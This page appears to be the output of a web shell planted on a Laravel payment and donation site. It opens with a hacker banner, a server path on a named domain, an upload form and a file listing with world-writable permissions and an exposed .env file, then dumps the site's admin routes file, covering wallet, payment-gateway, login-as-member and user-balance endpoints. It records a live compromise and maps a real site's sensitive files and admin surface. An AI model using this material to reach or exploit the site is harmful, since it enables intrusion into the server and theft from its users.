I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
name('admin.')->group(function () {
// Dashboard Section
Route::controller(DashboardController::class)->group(function () {
Route::get('dashboard', 'index')->name('dashboard');
Route::post('logout', 'logout')->name('logout');
Route::post('notifications/clear','notificationsClear')->name('notifications.clear');
});
// Admin Profile
Route::controller(ProfileController::class)->prefix('profile')->name('profile.')->group(function () {
Route::get('index', 'index')->name('index');
Route::get('change-password', 'changePassword')->name('change.password');
Route::put('change-password', 'updatePassword')->name('change.password.update');
Route::put('update', 'update')->name('update');
});
// Setup Currency Section
Route::controller(CurrencyController::class)->prefix('currency')->name('currency.')->group(function () {
Route::get('index', 'index')->name('index');
Route::post('store', 'store')->name('store');
Route::put('status/update', 'statusUpdate')->name('status.update');
Route::put('update', 'update')->name('update');
Route::delete('delete','delete')->name('delete');
Route::post('search','search')->name("search");
});
// Add Money Logs
Route::controller(AddMoneyController::class)->prefix('add-money')->name('add.money.')->group(function () {
Route::get('index', 'index')->name('index');
Route::get('pending', 'pending')->name('pending');
Route::get('complete', 'complete')->name('complete');
Route::get('canceled', 'canceled')->name('canceled');
Route::put('approved', 'approved')->name('approved');
Route::put('rejected', 'rejected')->name('rejected');
Route::get('details/{id}', 'addMoneyDetails')->name('details');
});
Route::controller(CryptoAssetController::class)->prefix('crypto/assets')->name('crypto.assets.')->group(function() {
Route::get('gateway/{alias}','gatewayAssets')->name('gateway.index');
Route::get('gateway/{alias}/generate/wallet','generateWallet')->name('generate.wallet');
Route::get('wallet/balance/update/{crypto_asset_id}/{wallet_id}','walletBalanceUpdate')->name('wallet.balance.update');
Route::post('wallet/store','walletStore')->name("wallet.store");
Route::delete('wallet/delete','walletDelete')->name('wallet.delete');
Route::put('wallet/status/update','walletStatusUpdate')->name('wallet.status.update');
Route::get('wallet/transactions/{crypto_asset_id}/{wallet_id}','walletTransactions')->name('wallet.transactions');
Route::post('wallet/transactions/search/{crypto_asset_id}/{wallet_id}','walletTransactionSearch')->name('wallet.transaction.search');
});
// Add Money Logs
Route::controller(DonationController::class)->prefix('donation')->name('donation.')->group(function () {
Route::get('index', 'index')->name('index');
Route::get('pending', 'pending')->name('pending');
Route::get('complete', 'complete')->name('complete');
Route::get('canceled', 'canceled')->name('canceled');
Route::put('approved', 'approved')->name('approved');
Route::put('rejected', 'rejected')->name('rejected');
Route::get('details/{id}', 'dontaionDetails')->name('details');
});
// User Care Section
Route::controller(UserCareController::class)->prefix('users')->name('users.')->group(function () {
Route::get('index', 'index')->name('index');
Route::get('active', 'active')->name('active');
Route::get('banned', 'banned')->name('banned');
Route::get('email/unverified', 'emailUnverified')->name('email.unverified');
Route::get('sms/unverified', 'SmsUnverified')->name('sms.unverified');
// Route::get('kyc/unverified', 'KycUnverified')->name('kyc.unverified');
// Route::get('kyc/details/{username}', 'kycDetails')->name('kyc.details');
Route::get('email-user', 'emailAllUsers')->name('email.users');
Route::post('email-users/send', 'sendMailUsers')->name('email.users.send')->middleware("mail");
Route::get('details/{username}', 'userDetails')->name('details');
Route::post('details/update/{username}', 'userDetailsUpdate')->name('details.update');
Route::get('login/logs/{username}', 'loginLogs')->name('login.logs');
Route::get('mail/logs/{username}', 'mailLogs')->name('mail.logs');
Route::post('send/mail/{username}', 'sendMail')->name('send.mail')->middleware("mail");
Route::post('login-as-member/{username?}','loginAsMember')->name('login.as.member');
Route::post('kyc/approve/{username}','kycApprove')->name('kyc.approve');
Route::post('kyc/reject/{username}','kycReject')->name('kyc.reject');
Route::post('search','search')->name('search');
Route::post('wallet/balance/update/{username}','walletBalanceUpdate')->name('wallet.balance.update');
//Coin
Route::post('coin/balance/update/{username}','coinBalanceUpdate')->name('coin.balance.update');
});
// Admin Care Section
Route::controller(AdminCareController::class)->prefix('admins')->name('admins.')->group(function () {
Route::get('index', 'index')->name('index');
Route::get('email-admin', 'emailAllAdmins')->name('email.admins');
Route::delete('admin/delete','deleteAdmin')->name('admin.delete')->middleware('admin.delete.guard');
Route::post('send/email','sendEmail')->name('send.email')->middleware("mail");
Route::post('admin/search','adminSearch')->name('search');
Route::post("store","store")->name("admin.store");
Route::put("update","update")->name("admin.update");
Route::put('status/update','statusUpdate')->name('admin.status.update');
Route::get('role/index','roleIndex')->name('role.index');
Route::post('role/store','roleStore')->name('role.store');
Route::put('role/update','roleUpdate')->name('role.update');
Route::delete('role/remove','roleRemove')->name('role.delete')->middleware('admin.role.delete.guard');
Route::get('role/permission/index','rolePermissionIndex')->name('role.permission.index');
Route::post('role/permission/store','rolePermissionStore')->name('role.permission.store');
Route::put('role/permission/update','rolePermissionUpdate')->name('role.permission.update');
Route::delete('role/permission/delete','rolePermissionDelete')->name('role.permission.dalete');
Route::delete('role/permission/assign/delete/{slug}','rolePermissionAssignDelete')->name('role.permission.assign.delete');
Route::get('role/permission/{slug}','viewRolePermission')->name('role.permission');
Route::post('role/permission/assign/{slug}','rolePermissionAssign')->name('role.permission.assign');
});
// Subscribers
Route::controller(SubscriberController::class)->prefix('subscribers')->name('subscriber.')->group(function () {
Route::get('index', 'index')->name('index');
Route::post('email/send', 'emailSend')->name('email.send');
Route::delete('delete', 'delete')->name('delete');
});
// Contact Message
Route::controller(ContactMessageController::class)->prefix('contact-messages')->name('contact.messages.')->group(function () {
Route::get('index', 'index')->name('index');
Route::delete('delete', 'delete')->name('delete');
Route::post('email/send', 'emailSend')->name('email.send');
});
// Web Settings Section
Route::controller(WebSettingsController::class)->prefix('web-settings')->name('web.settings.')->group(function(){
Route::get('basic-settings','basicSettings')->name('basic.settings');
Route::put('basic-settings/update','basicSettingsUpdate')->name('basic.settings.update');
Route::put('basic-settings/activation/update','basicSettingsActivationUpdate')->name('basic.settings.activation.update');
Route::get('image-assets','imageAssets')->name('image.assets');
Route::put('image-assets/update','imageAssetsUpdate')->name('image.assets.update');
Route::get('setup-seo','setupSeo')->name('setup.seo');
Route::put('setup-seo/update','setupSeoUpdate')->name('setup.seo.update');
});
// App Settings Section
Route::prefix('app-settings')->name('app.settings.')->group(function () {
Route::controller(AppSettingsController::class)->group(function () {
Route::get('splash-screen', 'splashScreen')->name('splash.screen');
Route::put('splash-screen/update', 'splashScreenUpdate')->name('splash.screen.update');
Route::get('urls', 'urls')->name('urls');
Route::put('urls/update', 'urlsUpdate')->name('urls.update');
});
Route::controller(AppOnboardScreensController::class)->name('onboard.')->group(function () {
Route::get('onboard-screens', 'onboardScreens')->name('screens');
Route::post('onboard-screens/store', 'onboardScreenStore')->name('screen.store');
Route::put('onboard-screen/update', 'onboardScreenUpdate')->name('screen.update');
Route::put('onboard-screen/status/update', 'onboardScreenStatusUpdate')->name('screen.status.update');
Route::delete('onboard-screen/delete','onboardScreenDelete')->name('screen.delete');
});
});
// Language Section
Route::controller(LanguageController::class)->prefix('languages')->name('languages.')->group(function () {
Route::get('index', 'index')->name('index');
Route::post('store','store')->name('store');
Route::put('update','update')->name('update');
Route::put('status/update','statusUpdate')->name('status.update');
Route::get('info/{code}','info')->name('info');
Route::post('import','import')->name('import');
Route::delete('delete','delete')->name('delete');
Route::post('switch','switch')->name('switch');
Route::get('download','download')->name('download');
});
// Setup Email Section
Route::controller(SetupEmailController::class)->prefix('setup-email')->name('setup.email.')->group(function () {
Route::get('config', 'configuration')->name('config');
// Route::get('template/default', 'defaultTemplate')->name('template.default');
Route::put('config/update', 'update')->name('config.update');
Route::post('test-mail/send','sendTestMail')->name('test.mail.send')->middleware('mail');
});
// Setup Section
Route::controller(SetupSectionsController::class)->prefix('setup-sections')->name('setup.sections.')->group(function () {
Route::get('{slug}', 'sectionView')->name('section');
Route::post('update/{slug}','sectionUpdate')->name('section.update');
Route::post('item/store/{slug}','sectionItemStore')->name('section.item.store');
Route::post('item/update/{slug}','sectionItemUpdate')->name('section.item.update');
Route::delete('item/delete/{slug}','sectionItemDelete')->name('section.item.delete');
//Setup Category Type
Route::post('category/store', 'storeCategory')->name('category.store');
Route::put('category/status/update','categoryStatusUpdate')->name('category.status.update');
Route::put('category/update', 'categoryUpdate')->name('category.update');
Route::delete('category/delete','categoryDelete')->name('category.delete');
Route::post('category/search','categorySearch')->name("category.search");
//Setup faq
Route::post('faq/store', 'faqStore')->name('faq.store');
Route::put('faq/status/update','faqStatusUpdate')->name('faq.status.update');
Route::put('faq/update', 'faqUpdate')->name('faq.update');
Route::delete('faq/delete','faqDelete')->name('faq.delete');
});
// Campaign
Route::controller(CampaignController::class)->prefix('campaigns')->name('campaigns.')->group(function(){
Route::get('index', 'index')->name('index');
Route::post('update', 'headingUpdate')->name('update');
Route::post('items/store', 'campaignItemStore')->name('items.store');
Route::get('edit/{id}', 'edit')->name('edit');
Route::post('items/update', 'campaignItemUpdate')->name('items.update');
Route::delete('items/delete', 'campaignItemDelete')->name('items.delete');
Route::put('items/status/update', 'campaignItemStatusUpdate')->name('items.status.update');
});
// Event
Route::controller(EventController::class)->prefix('events')->name('events.')->group(function(){
Route::get('index', 'index')->name('index');
Route::post('heading/update', 'headingUpdate')->name('heading.update');
Route::post('store', 'store')->name('store');
Route::get('edit/{id}', 'edit')->name('edit');
Route::post('update', 'update')->name('update');
Route::delete('delete', 'delete')->name('delete');
Route::put('status/update', 'statusUpdate')->name('status.update');
});
// Setup Pages Controller
Route::controller(UsefulLInkController::class)->prefix('useful-links')->name('useful.links.')->group(function () {
Route::get('index', 'index')->name('index');
Route::post('store', 'store')->name('store');
Route::get('edit/{id}', 'edit')->name('edit');
Route::post('update', 'update')->name('update');
Route::put('status/update','statusUpdate')->name('status.update');
Route::delete('delete','delete')->name('delete');
});
// Setup Pages Controller
Route::controller(SetupPagesController::class)->prefix('setup-pages')->name('setup.pages.')->group(function () {
Route::get('index', 'index')->name('index');
Route::put('status/update','statusUpdate')->name('status.update');
});
// Extensions Section
Route::controller(ExtensionsController::class)->prefix('extensions')->name('extensions.')->group(function () {
Route::get('index', 'index')->name('index');
});
// Payment Method Section
Route::prefix('payment-gateways')->name('payment.gateway.')->group(function () {
Route::controller(PaymentGatewaysController::class)->group(function () {
Route::get('{slug}/{type}/create', 'paymentGatewayCreate')->name('create')->whereIn('type', ['automatic', 'manual']);
Route::post('{slug}/{type}', 'paymentGatewayStore')->name('store')->whereIn('type', ['automatic', 'manual']);
Route::get('{slug}/{type}', 'paymentGatewayView')->name('view')->whereIn('type', ['automatic', 'manual']); // View Gateway Index Page
Route::get('{slug}/{type}/{alias}', 'paymentGatewayEdit')->name('edit')->whereIn('type', ['automatic', 'manual']);
Route::put('{slug}/{type}/{alias}', 'paymentGatewayUpdate')->name('update')->whereIn('type', ['automatic', 'manual']);
Route::put('status/update', 'paymentGatewayStatusUpdate')->name('status.update');
Route::delete('remove', 'remove')->name('remove');
});
Route::controller(PaymentGatewayCurrencyController::class)->group(function () {
Route::delete('currency/remove', 'paymentGatewayCurrencyRemove')->name('currency.remove');
});
});
// Push Notification Setup Section
Route::controller(PushNotificationController::class)->prefix('push-notification')->name('push.notification.')->group(function(){
Route::get('config','configuration')->name('config');
Route::put('update','update')->name('update');
Route::get('/','index')->name('index');
Route::post('send','send')->name('send');
});
// Broadcasting Setup Section
Route::controller(BroadcastingController::class)->prefix('broadcast')->name('broadcast.')->group(function(){
Route::put("config/update","configUpdate")->name('config.update');
});
// GDPR Cookie Section
Route::controller(CookieController::class)->prefix('cookie')->name('cookie.')->group(function () {
Route::get('index', 'index')->name('index');
Route::put('update', 'update')->name('update');
});
// Server Info Section
Route::controller(ServerInfoController::class)->prefix('server-info')->name('server.info.')->group(function () {
Route::get('index', 'index')->name('index');
});
// Support Ticked Section
Route::controller(SupportTicketController::class)->prefix('support-ticket')->name('support.ticket.')->group(function () {
Route::get('index', 'index')->name('index');
Route::get('active', 'active')->name('active');
Route::get('pending', 'pending')->name('pending');
Route::get('solved', 'solved')->name('solved');
Route::get('conversation/{ticket_id}', 'conversation')->name('conversation');
Route::post('message/reply','messageReply')->name('messaage.reply');
Route::post('solve','solve')->name('solve');
});
// Extension Section
Route::controller(ExtensionsController::class)->prefix('extension')->name('extension.')->group(function () {
Route::get('index', 'index')->name('index');
Route::post('update/{id}', 'update')->name('update');
Route::put('status/update', 'statusUpdate')->name('status.update');
});
// Cache Clear Section
Route::get('cache/clear', function () {
Artisan::all('cache:clear');
Artisan::all('route:clear');
Artisan::all('view:clear');
Artisan::all('config:clear');
return redirect()->back()->with(['success' => ['Cache Clear Successfully!']]);
})->name('cache.clear');
});
Route::get('pusher/beams-auth', function (Request $request) {
if(Auth::check() == false) {
return response(['Inconsistent request'], 401);
}
$userID = Auth::user()->id;
$basic_settings = BasicSettingsProvider::get();
if(!$basic_settings) {
return response('Basic setting not found!', 404);
}
$notification_config = $basic_settings->push_notification_config;
if(!$notification_config) {
return response('Notification configuration not found!', 404);
}
$instance_id = $notification_config->instance_id ?? null;
$primary_key = $notification_config->primary_key ?? null;
if($instance_id == null || $primary_key == null) {
return response('Sorry! You have to configure first to send push notification.', 404);
}
$beamsClient = new PushNotifications(
array(
"instanceId" => $notification_config->instance_id,
"secretKey" => $notification_config->primary_key,
)
);
$publisherUserId = "admin-".$userID;
try{
$beamsToken = $beamsClient->generateToken($publisherUserId);
}catch(Exception $e) {
return response(['Server Error. Faild to generate beams token.'], 500);
}
return response()->json($beamsToken);
})->name('pusher.beams.auth');